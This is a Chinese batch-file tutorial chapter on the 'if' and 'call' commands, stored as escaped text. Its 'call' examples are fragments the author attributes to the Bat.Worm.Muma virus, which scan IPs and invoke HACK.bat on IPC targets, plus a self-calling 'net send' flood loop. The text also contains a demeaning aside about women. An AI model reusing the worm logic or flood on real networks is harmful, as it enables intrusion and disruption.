\u8fd9\u4e00\u7ae0\u5c31\u5199\u5230\u8fd9\u91cc\u4e86\u3002\u53ef\u80fd\u6709\u670b\u53cb\u95ee\u4e86\uff1a\u600e\u4e48\u6ca1\u4ecb\u7ecdif\u547d\u4ee4\uff1f\u5475\u5475\uff0c\u4e0d\u662f\u6211\u5fd8\u4e86\uff0c\u800c\u662f\u5b83\u4e0d\u5bb9\u6613\u8bf4\u6e05\u695a\uff0c\u4e0b\u4e00\u7ae0\u518d\u8bb2\u4e86\uff01\u8fd9\u4e00\u7ae0\u8bb2\u7684\u8fd9\u70b9\u4e1c\u897f\uff0c\u5982\u679c\u4f60\u662f\u521d\u5b66\u8005\uff0c\u6050\u6015\u4e5f\u591f\u6d88\u5316\u7684\u4e86\u3002\u8bb0\u4f4f\u4e00\u53e5\u8bdd\uff1aDOS\u662f\u6279\u5904\u7406\u7684BODY\uff0c\u4efb\u4f55\u4e00\u4e2aDOS\u547d\u4ee4\u90fd\u53ef\u4ee5\u88ab\u7528\u5728\u6279\u5904\u7406\u811a\u672c\u4e2d\u53bb\u5b8c\u6210\u7279\u5b9a\u7684\u529f\u80fd\u3002\u5230\u8fd9\u91cc\uff0c\u4f60\u662f\u5426\u5df2\u7ecf\u60f3\u5230\u4e86\u7528\u81ea\u5df1\u809a\u5b50\u91cc\u7684\u4e1c\u897f\u53bb\u5199\u70b9\u5e26\u6709\u81ea\u52a8\u5316\u8272\u5f69\u7684\u4e1c\u4e1c\u5462
\uff1f\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u4e00\u4e2aDOS\u547d\u4ee4\u7684\u96c6\u5408\u800c\u5df2\uff0c\u76f8\u4fe1\u81ea\u79f0\u4e3a\u5929\u624d\u7684\u4f60\u5df2\u7ecf\u4f1a\u628a\u8ba1\u7b97\u673a\u7b49\u7ea7\u8003\u8bd5\u4e0a\u673a\u8bd5\u9898\u4e2d\u7684DOS\u90e8\u5206\u7528\u6279\u5904\u7406\u6765\u81ea\u52a8\u5316\u5b8c\u6210\u4e86\u3002

\u70e6\uff01\u5c31\u597d\u8c61\u4e00\u4e2a\u534a\u8001\u5973\u4eba\u5230\u4e86\u66f4\u5e74\u671f\uff0c\u4ec0\u4e48\u4e8b\u90fd\u60f3\u5520\u53e8\u51e0\u53e5\uff0c\u4ec0\u4e48\u4e8b\u90fd\u611f\u5230\u4e0d\u8212\u670d\uff0c\u770b\u8c01\u8c01\u4e0d\u723d\u3002\u660e\u77e5\u5c71\u6709\u864e\uff0c\u504f\u5411\u864e\u5c71\u884c\uff0c\u6700\u540e\u7559\u4e0b\u4e00\u8eab\u4f24\u75d5\u65e0\u529f\u800c\u8fd4\u65f6\uff0c\u624d\u53d1\u73b0\u81ea\u5df1\u7adf\u7136\u5982\u6b64\u8106\u5f31\uff0c\u5982\u6b64\u6e3a\u5c0f\uff0c\u5982\u6b64\u4e0d\u582a\u4e00\u51fb\u3002\u5f98\u5f8a\u5728\u5d29\u6e83\u7684\u8fb9\u7f18\uff0c\u7a81\u7136\u56de\u60f3\u8d77\u4e86\u81ea\u5df1\u6700\u540e\u4e00\u6b21\u6241\u4eba\u7684\u90a3\u4e00\u523b\uff0c\u8fd8\u771f\u6709\u70b9\u6000\u5ff5\uff08\u5176\u5b9e\u6211\u5f88\u4e0d\u559c\u6b22\u6241\u4eba\uff0c\u66f4\u4e0d\u559c\u6b22\u88ab\u4eba\u6241\uff09\u3002\u6211\u9700\u8981\u53d1\u6cc4\uff0c\u6211\u7528\u624b\u6307\u62fc\u547d\u7684\u6572\u6253\u7740\u952e\u76d8\uff0c\u5728\u4e00\u9635\u63a5\u4e00\u9635\u6709\u8282\u594f\u7684\u58f0\u97f3\u4e2d\uff0c\u5c4f\u5e55\u4e0a\u51fa\u73b0\u4e86\u4e0a\u9762\u7684\u8fd9\u4e9b\u6587\u5b57\u3002\u53ef\u96be\u9053\u8fd9\u5c31\u662f\u53d1\u6cc4\u7684\u53e6\u4e00\u79cd\u65b9\u5f0f\u5417\uff1f\u4e2d\u56fd\u4eba\u8fd8\u662f\u5389\u5bb3\uff0c\u65e9\u5728\u51e0\u5343\u5e74\u524d\u5b54\u8001\u592b\u5b50\u5c31\u8bf4\u8fc7\u201c\u552f\u5973\u5b50\u4e0e\u5c0f\u4eba\uff0c\u96be\u517b\u4e5f\u201d\uff0c\u771f**\u6709\u5148\u89c1\u4e4b\u660e\uff0c\u4f69\u670d\uff01\u867d\u7136\u662f\u5728\u53d1\u6cc4\uff0c\u4e0d\u8fc7\u5927\u5bb6\u8bf7\u653e\u5fc3\uff0c\u4ee5\u6211\u7684\u813e\u6c14\uff0c\u65e2\u7136\u51b3\u5b9a\u5199\u8fd9\u7bc7\u6559\u7a0b\uff0c\u5c31\u4e00\u5b9a\u4f1a\u5c3d\u529b\u53bb\u5199\u597d\uff0c\u5199\u5b8c\u7f8e\uff0c\u7edd\u5bf9\u4e0d\u7ed9\u81ea\u5df1\u7559\u4e0b\u9057\u61be\uff0c\u8981\u4e0d\u8fd9\u6559\u7a0b\u5c31\u4e0d\u662f\u6211\u5199\u7684\uff01
\u66fe\u7ecf\u6709\u4e00\u7bc7\u7ecf\u5178\u7684\u6279\u5904\u7406\u6559\u7a0b\u51fa\u73b0\u5728\u4f60\u7684\u5c4f\u5e55\u4e0a\uff0c\u4f60\u6ca1\u6709\u4fdd\u5b58\uff0c\u76f4\u5230\u627e\u4e0d\u5230\u5b83\u7684\u94fe\u63a5\u4f60\u624d\u540e\u6094\u83ab\u53ca\uff0c\u4eba\u4e16\u95f4\u6700\u5927\u7684\u75db\u82e6\u83ab\u8fc7\u4e8e\u6b64\u3002\u5982\u679c\u4e0a\u5929\u80fd\u7ed9\u4f60\u4e00\u4e2a\u518d\u770b\u4e00\u6b21\u7684\u673a\u4f1a\uff0c\u4f60\u4f1a\u5bf9\u90a3\u7bc7\u6559\u7a0b\u8bf4\u4e09\u4e2a\u5b57\uff1a\u6211\u7231\u4f60\uff01\u5982\u679c\u975e\u8981\u7ed9\u8fd9\u4efd\u7231\u52a0\u4e0a\u4e00\u4e2a\u671f\u9650\uff0c\u4f60\u5e0c\u671b\u662f100\u5e74\u3002\u56e0\u4e3a100\u5e74\u540e\uff0c\u4f60\u6050\u6015\u65e9\u5df2\u7ecf\u6302\u4e86\uff01\u800c\u73b0\u5728\uff0c\u4f60\u7684\u5c4f\u5e55\u4e0a\u51fa\u73b0\u4e86\u8fd9\u7bc7\u4f60\u6b63\u5728\u770b\u7684\u6279\u5904\u7406\u6559\u7a0b\uff0c\u867d\u7136\u4e0d\u5982\u4f60\u66fe\u7ecf\u770b\u7684\u90a3\u7bc7\u7ecf\u5178\uff0c\u4f46\u5982\u679c\u52c9\u5f3a\u8fd8\u8fc7\u7684\u53bb\u3002\u4f60\u4f1a\u7231\u5b83\u5417\uff1f\u65f6\u95f4\u4f1a\u670950\u5e74\u90a3\u4e48\u957f\u5417\uff1f\u7b54\u6848\u662f\uff1a\u8bd5\u8bd5\u770b\u5427\u3002

\u6279\u5904\u7406\u811a\u672c\u4e2d\u6700\u91cd\u8981\u7684\u51e0\u4e2a\u547d\u4ee4\uff0c\u5c06\u5728\u8fd9\u4e00\u7ae0\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u4f46\u662f\u5f88\u9057\u61be\uff0c\u6709\u4e9b\u7ec6\u8282\u5230\u73b0\u5728\u6211\u90fd\u6ca1\u638c\u63e1\u7684\u5f88\u597d\uff0c\u751a\u81f3\u8fd8\u6709\u4e9b\u751f\u5206\u3002\u5982\u540c\u8fd8\u4e0d\u592a\u61c2\u5f97\u7231\u4e00\u6837\u3002\u4f46\u6211\u4e00\u76f4\u90fd\u5728\u52aa\u529b\uff0c\u5373\u4f7f\u4e00\u76f4\u90fd\u6ca1\u6709\u6536\u83b7\u3002\u6240\u4ee5\u53ef\u80fd\u8bb2\u7684\u4f1a\u6bd4\u8f83\u7b3c\u7edf\uff0c\u4f46\u6211\u4f1a\u544a\u8bc9\u4f60\u65b9\u6cd5\uff0c\u5269\u4e0b\u7684\u5c31\u662f\u65f6\u95f4\u95ee\u9898\u4e86\uff0c\u9700\u8981\u81ea\u5df1\u53bb\u78e8\u7ec3\u3002\u8ba9\u6211\u4eec\u5171\u540c\u52aa\u529b\u5427\u3002\u51b0\u51bb\u4e09\u5c3a\u975e\u4e00\u65e5\u4e4b\u5bd2\uff0c\u6ef4\u6c34\u7a7f\u77f3\u975e\u4e00\u65e5\u4e4b\u529f\u3002\u6709\u4e9b\u4e8b\u60c5\uff0c\u6bd4\u5982\u5b66\u6279\u5904\u7406\uff0c\u6bd4\u5982\u7231\u4e00\u4e2a\u4eba\uff0c\u90fd\u662f\u4e0d\u80fd\u901f\u6210\u7684\uff0c\u751a\u81f3\u8fd8\u4f1a\u6709\u4ed8\u51fa\u8270\u8f9b\u800c\u6536\u83b7\u4e3a\u751a\u5fae\u7684\u60c5\u51b5\u3002\u518d\u6b21\u91cd\u7533\uff0c\u770b\u8fd9\u7bc7\u6559\u7a0b\u7684\u65f6\u5019\uff0c\u4e00\u5b9a\u8981\u9759\u4e0b\u5fc3\u6765\uff0c\u9664\u975e\u4f60\u5df2\u7ecf\u638c\u63e1\u4e86\u8fd9\u7bc7\u6559\u7a0b\u7684\u6240\u6709\u4e1c\u897f----\u4f46\u90a3\u4e5f\u5c31\u4e0d\u5fc5\u770b\u4e86\uff0c\u6d6a\u8d39\u65f6\u95f4\uff01

7\u3001if

\u63a5\u4e0a\u4e00\u7ae0\uff0c\u63a5\u7740\u8bb2if\u547d\u4ee4\u3002\u603b\u7684\u6765\u8bf4\uff0cif\u547d\u4ee4\u662f\u4e00\u4e2a\u8868\u793a\u5224\u65ad\u7684\u547d\u4ee4\uff0c\u6839\u636e\u5f97\u51fa\u7684\u6bcf\u4e00\u4e2a\u7ed3\u679c\uff0c\u5b83\u90fd\u53ef\u4ee5\u5bf9\u5e94\u4e00\u4e2a\u76f8\u5e94\u7684\u597d\u554a\u4f5c\u3002\u5173\u4e8e\u5b83\u7684\u4e09\u79cd\u7528\u6cd5\uff0c\u5728\u8fd9\u91cc\u5206\u5f00\u8bb2\u3002

(1)\u3001\u8f93\u5165\u5224\u65ad\u3002\u8fd8\u662f\u7528\u4f8b\u4e94\u91cc\u9762\u7684\u90a3\u51e0\u53e5\u5427\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

if \"%1\"==\"\" goto usage
if \"%1\"==\"\/?\" goto usage
if \"%1\"==\"help\" goto usage
\n<\/div>
\u8fd9\u91cc\u5224\u65ad\u8f93\u5165\u7684\u53c2\u6570\u60c5\u51b5\uff0c\u5982\u679c\u53c2\u6570\u4e3a\u7a7a\uff08\u65e0\u53c2\u6570\uff09\uff0c\u5219\u8df3\u8f6c\u5230usage\uff1b\u5982\u679c\u53c2\u6570\u4e3a\/?\u6216help\u65f6\uff08\u5927\u5bb6\u4e00\u822c\u770b\u4e00\u4e2a\u547d\u4ee4\u7684\u5e2e\u52a9\uff0c\u662f\u4e0d\u662f\u8f93\u5165\u7684\/?\u6216help\u5462\uff0c\u8fd9\u91cc\u8fd9\u4e48\u505a\u53ea\u662f\u4e3a\u4e86\u8ba9\u8fd9\u4e2a\u811a\u672c\u770b\u8d77\u6765\u66f4\u50cf\u4e00\u4e2a\u771f\u6b63\u7684\u7a0b\u5e8f\uff09\uff0c\u4e5f\u8df3\u8f6c\u5230usage\u3002\u8fd9\u91cc\u8fd8\u53ef\u4ee5\u7528\u5426\u5b9a\u5f62\u5f0f\u6765\u8868\u793a\u201c\u4e0d\u7b49\u4e8e\u201d\uff0c\u4f8b\u5982\uff1aif not \"%1\"==\"\" goto usage\uff0c\u5219\u8868\u793a\u5982\u679c\u8f93\u5165\u53c2\u6570\u4e0d\u4e3a\u7a7a\u5c31\u8df3\u8f6c\u5230usage\uff08\u5b9e\u9645\u4e2d\u8fd9\u6837\u505a\u5c31\u6ca1\u610f\u4e49\u4e86\uff0c\u8fd9\u91cc\u4ecb\u7ecd\u7528\u6cd5\uff0c\u7ba1\u4e0d\u4e86\u90a3\u4e48\u591a\u4e86\uff0c\u5475\u5475\u3002\uff09\u662f\u4e0d\u662f\u5f88\u7b80\u5355\uff1f\u5176\u5b9e\u7ffb\u8bd1\u6210\u4e2d\u6587\u4f53\u4f1a\u4e00\u4e0b\u5c31understand\u4e86\u3002

(2)\u3001\u5b58\u5728\u5224\u65ad\u3002\u518d\u770b\u4f8b\u4e8c\u91cc\u8fd9\u53e5\uff1a

if exist C:\\Progra~1\\Tencent\\AD\\*.gif del C:\\Progra~1\\Tencent\\AD\\*.gif

\u5982\u679c\u5b58\u5728\u90a3\u4e9bgif\u6587\u4ef6\uff0c\u5c31\u5220\u9664\u8fd9\u4e9b\u6587\u4ef6\u3002\u5f53\u7136\u8fd8\u6709\u4f8b\u56db\uff0c\u90fd\u662f\u4e00\u6837\u7684\u9053\u7406\u3002\u6ce8\u610f\uff0c\u8fd9\u91cc\u7684\u6761\u4ef6\u5224\u65ad\u662f\u5224\u65ad\u5b58\u5728\u7684\uff0c\u5f53\u7136\u4e5f\u53ef\u4ee5\u5224\u65ad\u4e0d\u5b58\u5728\u7684\uff0c\u4f8b\u5982\u4e0b\u9762\u8fd9\u53e5\u201c\u5982\u679c\u4e0d\u5b58\u5728\u90a3\u4e9bgif\u6587\u4ef6\u5219\u9000\u51fa\u811a\u672c\u201d\uff1aif not exist C:\\Progra~1\\Tencent\\AD\\*.gif exit\u3002\u53ea\u662f\u591a\u4e00\u4e2anot\u6765\u8868\u793a\u5426\u5b9a\u800c\u5df2\u3002

(3)\u3001\u7ed3\u679c\u5224\u65ad\u3002\u8fd8\u662f\u62ff\u4f8b\u4e94\u5f00\u5200\uff08\u6ca1\u60f3\u5230\u81ea\u5df1\u5199\u7684\u811a\u672c\uff0c\u7adf\u7136\u7528\u5904\u8fd9\u4e48\u5927\uff0c\u5475\u5475\uff09\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
\n<\/div>
\u5148\u5bf9\u6e90\u4ee3\u7801\u8fdb\u884c\u6c47\u7f16\uff0c\u5982\u679c\u5931\u8d25\u5219\u6682\u505c\u663e\u793a\u9519\u8bef\u4fe1\u606f\uff0c\u5e76\u5728\u6309\u4efb\u610f\u952e\u540e\u81ea\u52a8\u8fdb\u5165\u7f16\u8f91\u754c\u9762\uff1b\u5426\u5219\u7528link\u7a0b\u5e8f\u8fde\u63a5\u751f\u6210\u7684obj\u6587\u4ef6\u3002\u8fd9\u91cc\u53ea\u4ecb\u7ecd\u4e00\u4e0b\u548cif\u547d\u4ee4\u6709\u5173\u7684\u5730\u65b9\uff0c&\u547d\u4ee4\u540e\u9762\u4f1a\u8bb2\u5230\u3002\u8fd9\u79cd\u7528\u6cd5\u662f\u5148\u5224\u65ad\u524d\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u540e\u7684\u8fd4\u56de\u7801\uff08\u4e5f\u53eb\u9519\u8bef\u7801\uff0cDOS\u7a0b\u5e8f\u5728\u8fd0\u884c\u5b8c\u540e\u90fd\u6709\u8fd4\u56de\u7801\uff09\uff0c\u5982\u679c\u548c\u5b9a\u4e49\u7684\u9519\u8bef\u7801\u7b26\u5408\uff08\u8fd9\u91cc\u5b9a\u4e49\u7684\u9519\u8bef\u7801\u4e3a1\uff09\uff0c\u5219\u6267\u884c\u76f8\u5e94\u7684\u597d\u554a\u4f5c\uff08 \u8fd9\u91cc\u76f8\u5e94\u7684\u597d\u554a\u4f5c\u4e3apause & edit %1.asm\u90e8\u5206\uff09\u3002

\u53e6\u5916\uff0c\u548c\u5176\u4ed6\u4e24\u79cd\u7528\u6cd5\u4e00\u6837\uff0c\u8fd9\u79cd\u7528\u6cd5\u4e5f\u53ef\u4ee5\u8868\u793a\u5426\u5b9a\u3002\u7528\u5426\u5b9a\u7684\u5f62\u5f0f\u4ecd\u8868\u8fbe\u4e0a\u9762\u4e09\u53e5\u7684\u610f\u601d\uff0c\u4ee3\u7801\u53d8\u4e3a\uff1a
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

\u770b\u5230\u672c\u8d28\u4e86\u5427\uff1f\u5176\u5b9e\u53ea\u662f\u628a\u7ed3\u679c\u5224\u65ad\u540e\u6240\u6267\u884c\u7684\u547d\u4ee4\u4e92\u6362\u4e86\u4e00\u4e0b\uff0c\u201cif not errorlevel 1\u201d\u548c\u201cif errorlevel 0\u201d\u7684\u6548\u679c\u662f\u7b49\u6548\u7684\uff0c\u90fd\u8868\u793a\u4e0a\u4e00\u53e5masm\u547d\u4ee4\u6267\u884c\u6210\u529f\uff08\u56e0\u4e3a\u5b83\u662f\u9519\u8bef\u5224\u65ad\uff0c\u800c\u4e14\u8fd4\u56de\u7801\u4e3a0\uff0c0\u5c31\u8868\u793a\u5426\u5b9a\uff0c\u5c31\u662f\u8bf4\u8fd9\u4e2a\u9519\u8bef\u4e0d\u5b58\u5728\uff0c\u5c31\u662f\u8bf4masm\u6267\u884c\u6210\u529f\uff09\u3002\u8fd9\u91cc\u662f\u5426\u52a0not\uff0c\u9519\u8bef\u7801\u5230\u5e95\u75280\u8fd8\u662f1\uff0c\u662f\u503c\u5f97\u8003\u8651\u7684\u4e24\u4e2a\u95ee\u9898\uff0c\u4e00\u65e6\u642d\u914d\u4e0d\u6210\u529f\u811a\u672c\u5c31\u80af\u5b9a\u51fa\u9519\uff0c\u6240\u4ee5\u4e00\u5b9a\u8981\u4f53\u4f1a\u7684\u5f88\u6df1\u523b\u624d\u884c\u3002\u5982\u4f55\u4f53\u4f1a\u7684\u6df1\u523b\uff1f\u7ec3\u4e60\uff01\u81ea\u5df1\u5199\u4e00\u4e2a\u811a\u672c\uff0c\u7136\u540e\u628a\u6709not\u548c\u6ca1\u6709not\u7684\u60c5\u51b5\uff0c\u8fd4\u56de\u7801\u4e3a0\u62161\u7684\u60c5\u51b5\u5206\u522b\u5199\u8fdb\u53bb\u6267\u884c\uff08\u600e\u4e48\uff0c\u5acc\u9ebb\u70e6\u554a\uff1f\u6392\u5217\u7ec4\u5408\u7b97\u4e00\u4e0b\u624d\u56db\u4e2d\u60c5\u51b5\u4f60\u5c31\u5acc\u9ebb\u70e6\u4e86\uff1f\u540e\u9762\u4ecb\u7ecd\u7ba1\u9053\u547d\u4ee4\u548c\u7ec4\u5408\u547d\u4ee4\u65f6\u8fd8\u6709\u66f4\u9ebb\u70e6\u7684\u5462\uff01\u6015\u4e86\uff1f\u5475\u5475\u3002\uff09\uff0c\u8fd9\u6837\u4ece\u6267\u884c\u7684\u7ed3\u679c\u4e2d\u5c31\u80fd\u5f88\u6e05\u695a\u7684\u770b\u51fa\u8fd9\u4e24\u79cd\u60c5\u51b5\u7684\u533a\u522b\u3002

\u8fd9\u79cd\u7528errorlevel\u7ed3\u679c\u5224\u65ad\u7684\u7528\u6cd5\u662fif\u547d\u4ee4\u6700\u96be\u7684\u7528\u6cd5\uff0c\u4f46\u4e5f\u6070\u6070\u662f\u6700\u6709\u7528\u7684\u7528\u6cd5\uff0c\u5982\u679c\u4f60\u4e0d\u4f1a\u7528errorlevel\u6765\u5224\u65ad\u8fd4\u56de\u7801\uff0c\u5219\u8981\u8fbe\u5230\u76f8\u540c\u7684\u6548\u679c\uff0c\u5fc5\u987b\u7528else\u6765\u8868\u793a\u201c\u5426\u5219\u201d\u7684\u597d\u554a\u4f5c\uff0c\u662f\u6bd4\u8f83\u9ebb\u70e6\u7684\u3002\u4ee5\u4e0a\u4ee3\u7801\u5fc5\u987b\u53d8\u6210\uff1a

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

\u5173\u4e8eif\u547d\u4ee4\u7684\u8fd9\u4e09\u79cd\u7528\u6cd5\u5c31say\u5230\u8fd9\u91cc\uff0c\u7406\u89e3\u5f88\u7b80\u5355\uff0c\u4f46\u5e94\u7528\u65f6\u5c31\u4e0d\u4e00\u5b9a\u7528\u7684\u90a3\u4e48\u5f97\u5fc3\u5e94\u624b\uff0c\u4e3b\u8981\u662f\u719f\u7ec3\u7a0b\u5ea6\u7684\u95ee\u9898\u3002\u53ef\u80fd\u6709\u7684\u670b\u53cb\u6709\u70b9\u60ca\u8bb6\uff0c\u6211\u600e\u4e48\u6ca1\u7ed9\u51fa\u7c7b\u4f3c\u4e0b\u9762\u4e09\u884c\u7684\u7528\u6cd5\u4ecb\u7ecd\uff0c\u662f\u56e0\u4e3a\u4e0b\u9762\u4e09\u884c\u662fif\u547d\u4ee4\u5e2e\u52a9\u91cc\u5bf9\u5b83\u81ea\u8eab\u7528\u6cd5\u7684\u89e3\u91ca\uff0c\u4efb\u4f55\u4eba\u53ea\u8981\u4e00\u4e2a\u201cif \/?\u201d\u5c31\u80fd\u770b\u5230\uff0c\u6211\u6ca1\u6709\u5fc5\u8981\u5728\u8fd9\u91cc\u591a\u8d39\u53e3\u820c\uff1b\u66f4\u91cd\u8981\u7684\u539f\u56e0\uff0c\u662f\u6211\u89c9\u5f97\u8fd9\u6837\u4ecb\u7ecd\u7684\u4e0d\u6e05\u695a\uff0c\u770b\u7684\u4eba\u4e0d\u4e00\u5b9a\u770b\u7684\u61c2\uff0c\u6240\u4ee5\u6211\u91c7\u7528\u4e0a\u9762\u81ea\u5df1\u5bf9if\u547d\u4ee4\u7684\u7406\u89e3\u6765\u4ecb\u7ecd\u3002\u4e00\u5b9a\u8981\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u4e09\u79cd\u7528\u6cd5\u7684\u683c\u5f0f\u5404\u4e0d\u76f8\u540c\uff0c\u800c\u4e14\u4e5f\u662f\u4e0d\u80fd\u6539\u53d8\u7684\uff0c\u4f46\u5b9e\u9645\u4e0a\u53ef\u4ee5\u4e92\u6362\uff08\u4ee5\u4e3a\u4ece\u672c\u8d28\u4e0a\u8bb2\uff0c\u8fd9\u4e09\u79cd\u7528\u6cd5\u90fd\u662f\u5efa\u7acb\u5728\u5224\u65ad\u7684\u57fa\u7840\u4e0a\u7684\uff0c\u54f2\u5b66\u6559\u6211\u4eec\u5b66\u4f1a\u900f\u8fc7\u73b0\u8c61\u770b\u4e8b\u7269
\u672c\u8d28\uff01\uff09\u3002\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u81ea\u5df1\u7814\u7a76\u4e00\u4e0b\u3002

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8\u3001call

\u5b66\u8fc7\u6c47\u7f16\u6216C\u7684\u670b\u53cb\uff0c\u80af\u5b9a\u90fd\u77e5\u9053call\u6307\u4ee4\u8868\u793a\u4ec0\u4e48\u610f\u601d\u4e86\uff0c\u5728\u8fd9\u91cc\u5b83\u7684\u610f\u601d\u5176\u5b9e\u4e5f\u662f\u4e00\u6837\u7684\u3002\u5728\u6279\u5904\u7406\u811a\u672c\u4e2d\uff0ccall\u547d\u4ee4\u7528\u6765\u4ece\u4e00\u4e2a\u6279\u5904\u7406\u811a\u672c\u4e2d\u8c03\u7528\u53e6\u4e00\u4e2a\u6279\u5904\u7406\u811a\u672c\u3002\u770b\u4f8b\u516b\uff08\u9ed8\u8ba4\u7684\u4e09\u4e2a\u811a\u672c\u6587\u4ef6\u540d\u5206\u522b\u4e3astart.bat\u300110.bat\u548cipc.bat
\uff09\uff1a

start.bat\uff1a
\u2026\u2026
CALL 10.BAT 0
\u2026\u2026

10.bat\uff1a
\u2026\u2026
ECHO %IPA%.%1 >HFIND.TMP
\u2026\u2026
CALL ipc.bat IPCFind.txt

ipc.bat\uff1a
for \/f \"tokens=1,2,3 delims= \" %%i in (%1) do call HACK.bat %%i %%j %%k

\u6709\u6ca1\u6709\u770b\u51fa\u4ec0\u4e48\u4e0d\u5bf9\u7684\u5730\u65b9\uff1f\u6ca1\u770b\u51fa\u6765\u554a\uff1f\u6ca1\u770b\u51fa\u6765\u5c31\u5bf9\u4e86\uff0c\u5176\u5b9e\u5c31\u6ca1\u6709\u4e0d\u5bf9\u7684\u5730\u65b9\u561b\uff0c\u4f60\u600e\u4e48\u770b\u7684\u51fa\u6765\uff01\u4ece\u4e0a\u9762\u4e24\u4e2a\u811a\u672c\uff0c\u4f60\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u4fe1\u606f\uff1a1\u3001\u811a\u672c\u8c03\u7528\u53ef\u4ee5\u7075\u6d3b\u8fd0\u7528\uff0c\u5faa\u73af\u8fd0\u7528\u3001\u91cd\u590d\u8fd0\u7528\u30022\u3001\u811a\u672c\u8c03\u7528\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570\uff01\u5173\u4e8e\u7b2c\u4e00\u70b9\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u806a\u660e\u7684\u4f60\u4e00\u770b\u5c31\u5e94\u8be5\u4f1a\uff0c\u8fd9\u91cc\u8bf4\u4e00\u4e0b\u7b2c\u4e8c\u70b9\u3002

\u5728start.bat\u4e2d\uff0c10.bat\u540e\u9762\u8ddf\u4e86\u53c2\u65700\uff0c\u5728\u6267\u884c\u65f6\u7684\u6548\u679c\uff0c\u5176\u5b9e\u5c31\u662f\u628a10.bat\u91cc\u7684\u53c2\u6570%1\u75280\u4ee3\u66ff\u3002\u5728start.bat\u4e2d\uff0cipc.bat\u540e\u9762\u8ddf\u4e86\u53c2\u6570ipcfind.txt\uff08\u4e00\u4e2a\u6587\u4ef6\uff0c\u4e5f\u53ef\u4ee5\u505a\u53c2\u6570\uff09\uff0c\u6267\u884c\u65f6\u7684\u6548\u679c\uff0c\u5c31\u662f\u7528ipc.bat\u4e2d\u7684\u6bcf\u4e00\u884c\u7684\u4e09\u4e2a\u53d8\u91cf \uff08\u8fd9\u91cc\u4e0d\u61c2\u6ca1\u5173\u7cfb\uff0c\u5b66\u8fc7for\u547d\u4ee4\u540e\u5c31\u61c2\u4e86\uff09\uff0c\u5bf9\u5e94\u4ee3\u6362ipc.bat\u4e2d\u7684%%i\u3001%%j\u548c%%k\u3002\u8fd9\u91cc\u53c2\u6570\u8c03\u7528\u662f\u975e\u5e38\u7075\u6d3b\u7684\uff0c\u4f7f\u7528\u65f6\u9700\u8981\u597d\u597d\u4f53\u4f1a\u3002\u5728\u521d\u5b66\u671f\u95f4\uff0c\u53ef\u4ee5\u5148\u5b66\u4e60\u53ea\u8c03\u7528\u811a\u672c\uff0c\u81f3\u4e8e\u8fde\u811a\u672c\u7684\u53c2\u6570\u4e00\u8d77\u4f7f\u7528\u7684\u60c5\u51b5\uff0c\u5728\u540e\u9762\u7684\u5b66\u4e60\u4e2d\u81ea\u7136\u5c31\u4f1a\u6709
\u6bd4\u8f83\u6df1\u523b\u7684\u7406\u89e3\uff0c\u8fd9\u662f\u56e0\u4e3a\u5f53\u4f60\u5df2\u7ecf\u53ef\u4ee5\u7075\u6d3b\u8fd0\u7528\u6279\u5904\u7406\u811a\u672c\u540e\uff0c\u5982\u4f55\u4f7f\u4ee3\u7801\u5199\u7684\u66f4\u7cbe\u7b80\u66f4\u5b8c\u7f8e\u66f4\u9ad8\u6548\u5c31\u81ea\u7136\u5305\u62ec\u5230\u4e86\u8003\u8651\u7684\u8303\u56f4\uff0c\u8fd9\u65f6\u5019\u4f60\u5c31\u4f1a\u53d1\u73b0\u5728\u8c03\u7528\u811a\u672c\u65f6\u76f4\u63a5\u52a0\u5165\u53c2\u6570\uff0c\u53ef\u4ee5\u4f7f\u4ee3\u7801\u6548\u7387\u52a0\u500d\u3002By the way\uff0c\u4e0a\u9762\u7684\u8fd9\u51e0\u4e2a\u811a\u672c\uff0c\u90fd\u662fBat.Worm.Muma\u75c5\u6bd2\u7684\u4e00\u90e8\u5206\uff0c\u5728\u540e\u9762\u7684\u6559\u7a0b\u91cc\uff0c\u5927\u5bb6\u5c06\u6709\u673a\u4f1a\u89c1\u5230\u8fd9\u4e2a\u75c5\u6bd2\u7684\u771f\u9762\u76ee\u3002
\u90a3\u662f\u4e0d\u662f\u8bf4\uff0c\u5728\u540c\u4e00\u4e2a\u76ee\u5f55\u4e0b\u81f3\u5c11\u5b58\u5728\u4e24\u4e2a\u6279\u5904\u7406\u811a\u672c\u6587\u4ef6\uff08\u53ea\u6709\u4e00\u4e2a\u4f60\u8c03\u7528\u8c01\uff1f\uff09\uff1f\u5475\u5475\uff0c\u6ce8\u610f\u4e86\uff0c\u8fd9\u53e5\u8bdd\u9519\u4e86\uff01\uff01\u53ea\u6709\u4e00\u4e2a\u7167\u6837\u53ef\u4ee5\u8c03\u7528----\u8c03\u7528\u81ea\u8eab\uff01\u770b\u4f8b\u4e5d\uff08\u9ed8\u8ba4\u811a\u672c\u6587\u4ef6\u540da.bat\uff09\uff1a

net send %1 This is a call example.
call a.bat

